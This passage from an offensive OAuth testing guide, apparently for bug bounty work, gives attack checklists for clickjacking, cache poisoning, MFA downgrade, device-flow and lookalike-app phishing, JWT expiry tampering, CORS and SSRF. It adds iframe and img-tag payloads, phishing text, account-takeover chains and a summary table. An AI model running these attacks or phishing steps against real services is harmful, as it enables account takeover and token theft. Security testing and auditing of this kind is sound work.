HIGHCLICKJACKINGWAS MISSING
SCENARIO
OAuth consent page missing X-Frame-Options or CSP frame-ancestors header. Attacker embeds it in invisible iframe β€” victim clicks "Allow" thinking they clicked something else.
// EXECUTION CHECKLIST
  • Check response headers on consent page: X-Frame-Options: DENY/SAMEORIGIN β€” missing?
  • Check: Content-Security-Policy: frame-ancestors 'none' β€” missing?
  • Proof: create iframe PoC: <iframe src="https://auth.target.com/consent?..." style="opacity:0;position:absolute;top:0;left:0">
  • Layer decoy button over "Allow" button β†’ victim clicks decoy β†’ actually clicks Allow on hidden frame
  • Result: victim silently grants attacker's OAuth app access to their account
  • Escalate: combine with scope escalation (P4) β†’ victim grants admin scope they never knew about

"The victim clicks what they see. They don't see the invisible consent form underneath. One click grants my application full access to their account β€” silently, invisibly."

#38
form_post Response Mode β€” Token in Request Body Logs
MEDIUMFORM_POST LEAKWAS MISSING
SCENARIO
response_mode=form_post sends code/token as HTTP POST body β€” avoids URL logs but may be logged by WAF, proxy, or application layer. Also enables CSRF on the callback endpoint.
// EXECUTION CHECKLIST
  • Add response_mode=form_post β†’ does server accept it? Token delivered via POST body
  • Check callback endpoint: does it have CSRF protection for POST requests? If not β†’ CSRF on callback
  • CSRF PoC: create auto-submitting form that POSTs attacker's code to victim's callback URL
  • Check if WAF/proxy logs POST body β†’ token in body = token in WAF logs
  • Also try: response_mode=web_message β†’ postMessage delivery β†’ combine with #35

"Developers switched to form_post to hide the token from URL logs. But POST body is logged by every WAF between them and the server. The token just moved from one log to another."

#39
Token Cache Poisoning via CDN / Shared Cache
HIGHCACHE POISONWAS MISSING
SCENARIO
OAuth callback response (containing code) is cached by CDN or shared cache. Different users making same request get the cached response β€” containing another user's code.
// EXECUTION CHECKLIST
  • After OAuth callback: check response headers β€” Cache-Control: no-store, no-cache β€” if missing β†’ cacheable?
  • Check CDN headers: CF-Cache-Status: HIT or X-Cache: HIT on callback response β†’ CRITICAL
  • Trigger your OAuth callback β†’ wait β†’ repeat same request URL β†’ does response replay (with old code)?
  • Poison: if callback URL structure is guessable, trigger victim's callback β†’ cache stores their code β†’ fetch it
  • Test: Vary header on callback response β€” does it include Vary: Cookie? If not β†’ responses shared across users

"CDNs cache for performance. OAuth callbacks must NEVER be cached. When a CDN serves a cached OAuth callback, it's serving one user's authorization code to another user."

#40
login_hint Targeted Victim Attack
HIGHTARGETED AUTHWAS MISSING
SCENARIO
login_hint pre-fills the email in the consent screen β€” combined with prompt=none, attacker can silently authenticate a specific victim without them doing anything.
// EXECUTION CHECKLIST
  • Add login_hint=victim@email.com to OAuth request β†’ does it pre-select victim's account?
  • Combine: login_hint=victim@email.com&prompt=none β†’ silent auth for specific victim
  • Embed in img tag: <img src="https://auth.target.com/oauth?...&login_hint=victim@x.com&prompt=none">
  • If code issued silently β†’ attacker receives it via redirect_uri β†’ targeted victim ATO with zero interaction
  • Also: id_token_hint β†’ leaks whether the user is currently logged in β†’ account enumeration

"login_hint + prompt=none is a silent bullet. Combine them with a victim's email and an img tag β€” they load a page, you get their OAuth code. They never see anything."

PHASE 10
ADVANCED PROTOCOL ATTACKS β€” Next-Level OAuth Exploitation
MFA bypass Β· Device flow Β· JWT exp bypass Β· PAR abuse Β· CORS misconfiguration Β· resource param
#41
MFA Bypass via acr_values / max_age Parameter
CRITICALMFA BYPASSWAS MISSING
SCENARIO
acr_values controls authentication strength (MFA required). max_age controls session freshness. Manipulating these can force server to accept weak authentication or skip MFA entirely.
// EXECUTION CHECKLIST
  • Add acr_values=0 or acr_values=urn:mace:incommon:iap:silver β†’ forces weakest auth level
  • Remove acr_values entirely β†’ if server defaults to no MFA β†’ MFA bypass confirmed
  • Set max_age=86400 (24h) β†’ server accepts old session without re-auth β†’ bypass step-up auth
  • Check id_token: amr claim (auth methods references) β€” does it show MFA was actually performed?
  • Try: acr_values=password β†’ forces password-only auth even when MFA is configured
  • Impact: victim has MFA enabled β†’ attacker bypasses it via OAuth param β†’ Critical severity

"MFA is the lock. acr_values is the key to tell the server which lock is required. If I can downgrade acr_values, I tell the server 'no lock needed' β€” and it listens."

#42
Device Authorization Grant (Device Flow) Abuse
HIGHDEVICE FLOWWAS MISSING
SCENARIO
Device flow for IoT/CLI apps (RFC 8628) β€” attacker initiates device flow, sends victim the "user_code" via phishing, victim approves on their logged-in browser, attacker's device gets token.
// EXECUTION CHECKLIST
  • Check if app supports device flow: grant_type=urn:ietf:params:oauth:grant-type:device_code
  • POST to device_authorization_endpoint β†’ get user_code and device_code
  • Send victim the user_code via phishing email: "Please verify your device: CODE=XXXX at https://target.com/device"
  • Poll token endpoint with device_code β†’ when victim approves β†’ you receive access + refresh token
  • Check: rate limit on polling? Token expiry time? User_code expiry? (should be <15 min)
  • Phishing note: victim sees LEGITIMATE OAuth consent page β†’ they trust it β†’ 0 technical indicators of attack

"Device flow phishing is the most convincing OAuth attack. I show the victim a real OAuth page from the real server. They approve it themselves. There's no fake site β€” the attack IS the real site."

#43
JWT exp / nbf Claim Manipulation
HIGHJWT EXPIRY BYPASSWAS MISSING
SCENARIO
Server doesn't properly validate JWT exp (expiry) or nbf (not-before) claims β€” attacker modifies expired token to have future expiry, or uses token before its valid time window.
// EXECUTION CHECKLIST
  • Obtain expired JWT β†’ decode β†’ change exp claim to far future timestamp (e.g., 9999999999)
  • If using none algorithm (P6) β†’ no re-signing needed β†’ send modified token β†’ accepted?
  • Test: set exp to negative number, 0, null, string "never" β†’ how does server handle it?
  • nbf bypass: set nbf (not before) to past time on a "future" token β€” accept before it should be valid
  • Clock skew abuse: if server allows 5 min clock skew, use token expired 4 min ago β†’ still valid
  • Test: remove exp claim entirely β†’ does server reject? (Many don't check if claim is absent)

"A JWT without exp validation is an immortal token. Remove the expiry, or set it to the year 2099 β€” the server says 'valid'. The token never dies."

#44
Pushed Authorization Request (PAR) Abuse β€” RFC 9126
HIGHPAR ABUSEWAS MISSING
SCENARIO
PAR allows pre-registering auth parameters server-side. Misconfigurations allow: using another app's request_uri, replaying expired PAR requests, or SSRF via pushed request content.
// EXECUTION CHECKLIST
  • Check discovery doc: pushed_authorization_request_endpoint β€” PAR supported?
  • POST to PAR endpoint with your params β†’ get request_uri β†’ use it in authorization request
  • Request_uri reuse: use the same request_uri twice β†’ should be single-use β†’ is it?
  • Cross-client: use request_uri from Client A's PAR in Client B's authorization request β†’ isolation failure?
  • PAR endpoint unauthenticated? β†’ push malicious params without client credentials β†’ SSRF via request_uri content
  • Expiry: PAR request_uri should expire in <60s β€” test if expired PAR URIs still work

"PAR was designed to move sensitive params server-side for security. When PAR endpoints are misconfigured, you get SSRF, cross-client isolation failures, and request replay β€” all in one new attack surface."

#45
OAuth Token Endpoint CORS Misconfiguration
CRITICALCORS MISCONFIGWAS MISSING
SCENARIO
Token endpoint returns Access-Control-Allow-Origin: * or reflects arbitrary Origin. Any website can make cross-origin requests to steal tokens from logged-in victims.
// EXECUTION CHECKLIST
  • Send OPTIONS request to token endpoint with: Origin: https://attacker.com
  • Check response: Access-Control-Allow-Origin: * or Access-Control-Allow-Origin: https://attacker.com β†’ VULN
  • Also check: Access-Control-Allow-Credentials: true + reflected origin β†’ highest severity combo
  • PoC: from attacker.com, fetch token endpoint with victim's session cookies (if credentials:include) β†’ steal token
  • Check all OAuth endpoints: /token, /userinfo, /introspect, /revoke β€” each may have different CORS policy
  • Null origin: Origin: null β†’ some servers reflect null β†’ file:// and sandboxed iframes exploit this

"CORS: * on a token endpoint means every website on the internet can read your OAuth tokens. The Same-Origin Policy exists for this exact reason. When CORS breaks it, so does your OAuth security."

#46
resource Parameter Injection β€” RFC 8707
HIGHRESOURCE INJECTIONWAS MISSING
SCENARIO
resource parameter specifies which API the token is for. Injecting a different resource makes the server issue a token intended for API A but usable against API B β€” privilege escalation across services.
// EXECUTION CHECKLIST
  • Add resource=https://api.internal.target.com to authorization or token request
  • Try: resource=https://admin.target.com β†’ does server issue token scoped to admin API?
  • Inject multiple: resource=https://api1.com&resource=https://api2.com β†’ HPP on resource
  • Use received token against target API β†’ check aud claim in JWT matches injected resource
  • Try SSRF: resource=https://169.254.169.254 β†’ server fetches internal metadata as token audience

"The resource parameter says 'I want a token for THIS API'. If the server doesn't validate that you're allowed to request tokens for that API, you can get tokens for any service in their infrastructure."

#47
OAuth Phishing β€” Lookalike App Name on Consent Screen
HIGHOAUTH PHISHINGWAS MISSING
SCENARIO
Register a third-party OAuth app with a name nearly identical to the legitimate service. Send phishing link. Victim sees a REAL OAuth consent screen but for the attacker's app.
// EXECUTION CHECKLIST
  • Register OAuth app with name: "Target Corporation" / "Target Inc" / "Target App" (same as trusted app)
  • Use similar logo, description β€” make consent screen visually identical to real app
  • Request wide scopes: email, profile, contacts, calendar β€” victim sees them but trusts the name
  • Send crafted consent URL to victim β†’ victim sees REAL OAuth provider (Google/GitHub) β†’ they trust it
  • When victim approves β†’ your app gets OAuth token for their account β†’ ATO
  • Check: does provider validate app name uniqueness? does it warn for unverified apps?

"The consent screen is from Google β€” it's real. The URL is google.com β€” it's real. The only fake thing is my app name. Victims click Allow because they trust Google, not because they trust me."

#48
Insufficient Token Binding β€” Token Not Bound to Client IP/TLS
MEDIUMTOKEN BINDINGWAS MISSING
SCENARIO
Tokens are not bound to the original client's TLS channel (DPoP / mTLS). Stolen tokens work from any IP, device, and TLS session β€” enabling token theft replay from anywhere.
// EXECUTION CHECKLIST
  • Capture valid access_token β†’ use it from a different IP/browser/device β†’ does it work?
  • Check: does server support DPoP (Demonstrating Proof of Possession)? Discovery doc: dpop_signing_alg_values_supported
  • Check: does server support mTLS certificate-bound tokens? tls_client_certificate_bound_access_tokens: true
  • If DPoP/mTLS not enforced: stolen bearer token = full account access from anywhere
  • Document: token lifetime Γ— no binding = risk window. Report with token lifetime and lack of binding as compounding factors.

"A bearer token is like cash β€” whoever holds it can spend it. DPoP and mTLS are like credit cards β€” they only work for the person who owns them. Without binding, any stolen token is free money."

#49
Open Redirect in OAuth Provider (Google / GitHub)
HIGHPROVIDER REDIRECTWAS MISSING
SCENARIO
An open redirect vulnerability in the OAuth PROVIDER itself (e.g., accounts.google.com) β€” use it to redirect the authorization code to an attacker domain after the provider validates the app.
// EXECUTION CHECKLIST
  • Find open redirect on the provider domain itself (e.g., accounts.google.com/redirect?url=)
  • Use that provider redirect URL as the redirect_uri for your OAuth app
  • Provider validates redirect_uri as its own domain β†’ approves β†’ sends code there
  • Provider's open redirect relays code to attacker.com β†’ ATO without any redirect_uri validation bypass
  • Historical: Google had this class of bug β€” HackerOne $7,500+ bounties paid for exactly this chain

"If the PROVIDER has an open redirect, game over β€” their own domain becomes my redirect target. No regex bypass needed. No wildcard. The provider validates its own URL and then betrays itself."

#50
OAuth Race Condition β€” Token Issuance / Revocation
HIGHRACE CONDITIONWAS MISSING
SCENARIO
Race conditions in token exchange, refresh, or revocation endpoints β€” send multiple simultaneous requests to use a single-use code multiple times, or revoke a token while using it.
// EXECUTION CHECKLIST
  • Token exchange race: send 20 simultaneous token exchange requests with same code β†’ Turbo Intruder single-packet attack
  • Refresh race: send 10 simultaneous refresh requests with same refresh_token β†’ how many access_tokens returned?
  • Revoke race: simultaneously revoke token + use it β†’ is revocation atomic? Can token be used during revocation?
  • Logout race: logout + use access_token simultaneously β†’ session invalidated but token still active?
  • Use Burp Turbo Intruder with single-packet attack template for maximum race precision

"Databases are not always atomic under load. Send 20 requests in a single TCP packet β€” they all arrive at the same microsecond. The server processes them concurrently. The single-use check fails."

#51
The 10-Point Final OAuth Master Audit
MASTER AUDITCOMPLETE VERIFY
SCENARIO
Run this LAST. Every dimension of OAuth security verified. If you pass all 10 β€” the implementation is solid. If any fails β€” it's a finding.
// 10-POINT FINAL AUDIT
  • Point 1 β€” redirect_uri: Exact string match only? No wildcard/prefix/suffix? Test all bypass chars
  • Point 2 β€” State: Present? Cryptographically random? Validated server-side? Single use? Session-bound?
  • Point 3 β€” Code: Single-use? <10 min expiry? Invalidated on reuse detection? PKCE enforced?
  • Point 4 β€” Token: Short-lived? Bound to client? aud/iss validated? Not in URL/logs?
  • Point 5 β€” Refresh: Rotated on use? Revoked on password change? Bound to client_id?
  • Point 6 β€” JWT: Signature verified? alg validated? kid/jku not fetched from token? exp enforced?
  • Point 7 β€” Consent: No clickjacking (X-Frame-Options)? prompt=none restricted? Scopes shown clearly?
  • Point 8 β€” Client: client_secret not in JS/mobile? CORS restricted on token endpoint? No open client registration?
  • Point 9 β€” Sessions: All sessions killed on OAuth disconnect? Linking requires re-auth? MFA enforced?
  • Point 10 β€” Infrastructure: No open redirect on any trusted domain? No subdomain takeover? Callback cache-controlled?

"OAuth is not a feature β€” it is a protocol with 51 known failure points. A proper audit tests all 10 dimensions. Find something in all 10 and you've done what 99% of security testers never do."

⚑ COMPLETE OAuth CHAIN ATTACK FORMULAS β€” 12 MASTER CHAINS

REDIRECT BYPASS + CODE CAPTURE + TOKEN EXCHANGE = CRITICAL ATO
// CHAIN #1: CLASSIC REDIRECT ATO

P1: Traversal bypass β†’ Code lands on VPS β†’ POST /token with stolen code β†’ Login as victim

// CHAIN #2: OPEN REDIRECT CHAIN

Find open redirect on trusted.com β†’ P2: Use as redirect_uri β†’ OAuth approves β†’ Code relayed β†’ 0 victim interaction ATO

// CHAIN #3: SUBDOMAIN TAKEOVER + OAUTH

P8: Find dangling CNAME β†’ P2: Take over subdomain β†’ P1: Wildcard redirect approved β†’ Medium + Medium = Critical

// CHAIN #4: PRE-HIJACK SILENT ATO

P5: Register victim email β†’ Wait for OAuth signup β†’ Auto-merge β†’ Old password still works β†’ Stealth permanent ATO

// CHAIN #5: JWT FORGE ADMIN TAKEOVER

P8: Fetch JWKS.json β†’ P6: RS256β†’HS256 confusion β†’ Forge JWT role=admin β†’ P4: Admin scope β†’ Full admin control

// CHAIN #6: JWT kid SSRF β†’ RCE

P6: kid header injection β†’ Server fetches attacker URL β†’ SSRF to metadata β†’ Steal IAM creds β†’ Cloud account takeover

// CHAIN #7: SSO CSRF INVISIBLE BACKDOOR

P7: Account linking CSRF β†’ Victim links attacker Google β†’ P5: No state validation β†’ Login via Google β†’ Invisible persistent backdoor

// CHAIN #8: REFERER + CODE REUSE + REFRESH

P3: Code in Referer to analytics β†’ P5: Code not single-use β†’ Replay code β†’ P6: Refresh token persists β†’ Permanent access

// CHAIN #9: DYNAMIC REG β†’ PHISHING

P8: Open registration endpoint β†’ Register evil OAuth app β†’ Send consent request to users β†’ Users approve β†’ Mass ATO via trusted consent screen

// CHAIN #10: PKCE BYPASS + scope ESCALATION

P7: PKCE not enforced β†’ Intercept code via any leak β†’ Exchange code β†’ P4: Add admin scope to request β†’ Admin access without PKCE verification

// CHAIN #11: DEVICE FLOW PHISHING ATO

P10: Initiate device flow β†’ Get user_code β†’ Phish victim with real OAuth page β†’ Victim approves β†’ Poll for token β†’ Full ATO β€” zero fake pages

// CHAIN #12: postMessage + CLICKJACK SILENT GRANT

P9: Embed consent iframe on attacker page β†’ P9: Clickjack "Allow" button β†’ P9: postMessage(*) leaks token to attacker window β†’ P10: MFA bypassed via acr_values β†’ 0-click mass ATO

πŸ“‹ COMPLETE REFERENCE β€” All 51 OAuth Vulnerabilities

#VULNERABILITYTECHNIQUEPHASESEVTOOL
01Path Traversal redirect_uri../../attacker.com escapeP1CRITBurp Suite
02@ Character Injectionuser@host URL parser confusionP1CRITManual
03Fragment # Injection%23 stops validator, browser continuesP1CRITBurp
04Backslash \ BypassParser inconsistency exploitP1CRITBurp
05Wildcard *.domain AbuseAny subdomain β†’ token captureP1CRITsubfinder
06Regex/Contains Bypasstrusted.com in query string tricks matchP1CRITBurp
07Open Redirect ChainTrusted domain relays code to attackerP2CRITBurp + Manual
08Subdomain Takeover + OAuthDangling DNS β†’ take over β†’ token landsP2CRITdnsx + subfinder
09Post-Auth State RedirectState encodes redirect URL β†’ manipulateP2HIGHBase64 + Burp
10Referer Code Leak3rd-party requests leak code in RefererP3HIGHBurp Monitor
11Implicit Flow Fragment LeakToken β†’ Sentry/Analytics via window.locationP3HIGHBurp + JS review
12Code in Server LogsGET param logged β†’ anyone with log accessP3MEDLog review
13Token in Postman/DocsReal tokens in public API documentationP3MEDGitHub search
14HPP on redirect_uriDuplicate params β†’ validator vs redirector splitP4HIGHBurp Repeater
15XSS via redirect_uri ReflectURI in error page β†’ XSS β†’ token stealP4CRITXSS payloads
16Scope EscalationAdd admin scopes β†’ server grants silentlyP4HIGHBurp Repeater
17response_type ConfusionHybrid flow β†’ token + code β†’ bypasses PKCEP4HIGHBurp
18OAuth Pre-HijackingRegister before victim β†’ merge on OAuth signupP5CRITManual
19CSRF β€” Missing StateForce victim browser to complete attacker flowP5HIGHCSRF PoC HTML
20Authorization Code ReuseCode not invalidated β†’ replay attackP5HIGHBurp Repeater
21client_secret ExposedJS/GitHub/APK β†’ impersonate appP5CRITJS grep + GitHub
22Predictable State / FixationWeak entropy β†’ predict β†’ claim callbackP5HIGHCyberChef
23Consent Bypass prompt=noneSilent token issuance without user awarenessP5HIGHBurp
24JWT Algorithm Confusionnone/RS256β†’HS256 β†’ forge any tokenP6CRITjwt_tool
25JWT kid/jku InjectionServer fetches attacker URL for signing keyP6CRITjwt_tool + JWKS
26Refresh Token PersistenceNot revoked on password change β†’ permanent accessP6HIGHManual test
27Cross-Provider Token MixingGoogle token used on Facebook endpointP6CRITMulti-provider test
28Token Introspection UnauthAnyone can enumerate token dataP6MEDPOST /introspect
29PKCE Bypass β€” DowngradeRemove code_challenge β†’ code exchangeableP7CRITBurp Suite
30OIDC nonce Missingid_token replay attack β†’ persistent authP7HIGHjwt.io + Burp
31SSO Linking CSRFForce victim to link attacker's social identityP7CRITCSRF PoC
32RP Mix-Up AttackCode from Provider A sent to Provider B endpointP7CRITMulti-provider test
33Discovery Doc Recon/.well-known/openid-configuration full attack mapP8RECONcurl / browser
34Dynamic Client Reg AbuseRegister own OAuth app β†’ phish usersP8CRITPOST /register
35request_uri SSRF (JAR)OAuth fetches attacker URL β†’ internal networkP8CRITBurp Collab
36Exposed .env / Config Reconclient_secret in public files β†’ full compromiseP8CRITGitHub + wayback
37postMessage(*) Token LeakSPA iframe leaks token to any listening windowP9CRITDevTools + JS review
38Mobile Deep Link HijackingMalicious app claims same custom URL schemeP9CRITjadx + Android
39Clickjacking on Consent PageNo X-Frame-Options β†’ invisible iframe trickP9HIGHiframe PoC
40form_post Response Mode LeakToken in POST body β†’ WAF logs + CSRF on callbackP9MEDBurp Suite
41Token Cache PoisoningCDN caches OAuth callback β†’ shared user codesP9HIGHCF-Cache-Status header
42login_hint Targeted Authlogin_hint + prompt=none = silent targeted ATOP9HIGHBurp Suite
43MFA Bypass via acr_valuesDowngrade auth level β†’ MFA skippedP10CRITBurp Repeater
44Device Flow PhishingReal OAuth consent page phishes victim's approvalP10HIGHManual + VPS
45JWT exp / nbf BypassModify expiry claim β†’ immortal tokenP10HIGHjwt_tool / jwt.io
46PAR Abuse β€” RFC 9126Reuse/cross-client PAR request_uriP10HIGHBurp + PAR endpoint
47Token Endpoint CORS MisconfigACAO:* on token endpoint β†’ cross-origin token stealP10CRITOPTIONS request
48resource Parameter InjectionRFC 8707 β€” get token scoped to unintended APIP10HIGHBurp Repeater
49OAuth Phishing β€” Lookalike AppRegister app with identical name β†’ real consent screenP10HIGHApp registration
50Insufficient Token BindingNo DPoP/mTLS β†’ stolen token works anywhereP10MEDManual cross-IP test
51Open Redirect in OAuth ProviderGoogle/GitHub themselves have open redirect β†’ chainP10HIGHProvider recon